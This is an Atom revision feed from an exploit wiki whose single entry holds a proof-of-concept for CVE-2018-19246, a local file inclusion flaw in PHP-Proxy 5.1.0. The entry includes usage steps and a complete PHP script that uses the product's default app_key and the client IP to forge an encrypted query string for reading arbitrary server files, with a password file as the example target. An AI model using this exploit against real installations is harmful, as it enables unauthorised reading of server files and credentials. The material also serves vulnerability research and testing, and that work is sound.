<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2018-19246_PHP-Proxy_5.1.0%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2018-19246 PHP-Proxy 5.1.0本地文件包含漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2018-19246_PHP-Proxy_5.1.0%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2018-19246_PHP-Proxy_5.1.0%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-13T19:49:42Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2018-19246_PHP-Proxy_5.1.0%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E&amp;diff=672&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==POC== &lt;pre&gt; # Exploit Title: PHP-Proxy 5.1.0 - Local File Inclusion # Date: 2018-11-13 # Exploit Author: Ameer Pornillos # Contact: https://ethicalhackers.club # Vendor Home...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2018-19246_PHP-Proxy_5.1.0%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E&amp;diff=672&amp;oldid=prev"/>
		<updated>2021-03-27T02:33:14Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==POC== &amp;lt;pre&amp;gt; # Exploit Title: PHP-Proxy 5.1.0 - Local File Inclusion # Date: 2018-11-13 # Exploit Author: Ameer Pornillos # Contact: https://ethicalhackers.club # Vendor Home...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==POC==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: PHP-Proxy 5.1.0 - Local File Inclusion&lt;br /&gt;
# Date: 2018-11-13&lt;br /&gt;
# Exploit Author: Ameer Pornillos&lt;br /&gt;
# Contact: https://ethicalhackers.club&lt;br /&gt;
# Vendor Homepage: https://www.php-proxy.com/&lt;br /&gt;
# Software Link: https://www.php-proxy.com/download/php-proxy.zip&lt;br /&gt;
# Version: 5.1.0&lt;br /&gt;
# Category: Webapps&lt;br /&gt;
# Tested on: XAMPP on Win10_x64&lt;br /&gt;
# Description: Downloadable pre-installed version of PHP-Proxy 5.1.0&lt;br /&gt;
# make use of a default app_key wherein can be used for local file inclusion&lt;br /&gt;
# attacks. This can be used to generate encrypted string which&lt;br /&gt;
# can gain access to arbitrary local files in the server.&lt;br /&gt;
# http://php-proxy-site/index.php?q=[encrypted_string_value]&lt;br /&gt;
# CVE: CVE-2018-19246&lt;br /&gt;
 &lt;br /&gt;
# POC:&lt;br /&gt;
# 1)&lt;br /&gt;
# Generate encrypted string value using the PHP script below&lt;br /&gt;
# 2)&lt;br /&gt;
# Browse to URL&lt;br /&gt;
# http://php-proxy-site/index.php?q=[encrypted_string_value]&lt;br /&gt;
# to read local file&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$file = &amp;quot;file:///C:/xampp/passwords.txt&amp;quot;; //example target file to read&lt;br /&gt;
$ip = &amp;quot;192.168.0.1&amp;quot;; //change depending on your IP address that access the app&lt;br /&gt;
$app_key = &amp;quot;aeb067ca0aa9a3193dce3a7264c90187&amp;quot;;&lt;br /&gt;
$key = md5($app_key.$ip);&lt;br /&gt;
function str_rot_pass($str, $key, $decrypt = false){&lt;br /&gt;
    $key_len = strlen($key);&lt;br /&gt;
    $result = str_repeat(' ', strlen($str));&lt;br /&gt;
    for($i=0; $i&amp;lt;strlen($str); $i++){&lt;br /&gt;
        if($decrypt){&lt;br /&gt;
            $ascii = ord($str[$i]) - ord($key[$i % $key_len]);&lt;br /&gt;
        } else {&lt;br /&gt;
            $ascii = ord($str[$i]) + ord($key[$i % $key_len]);&lt;br /&gt;
        }&lt;br /&gt;
        $result[$i] = chr($ascii);&lt;br /&gt;
    }&lt;br /&gt;
    return $result;&lt;br /&gt;
}&lt;br /&gt;
function base64_url_encode($input){&lt;br /&gt;
    return rtrim(strtr(base64_encode($input), '+/', '-_'), '=');&lt;br /&gt;
}&lt;br /&gt;
echo base64_url_encode(str_rot_pass($file, $key));&lt;br /&gt;
?&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>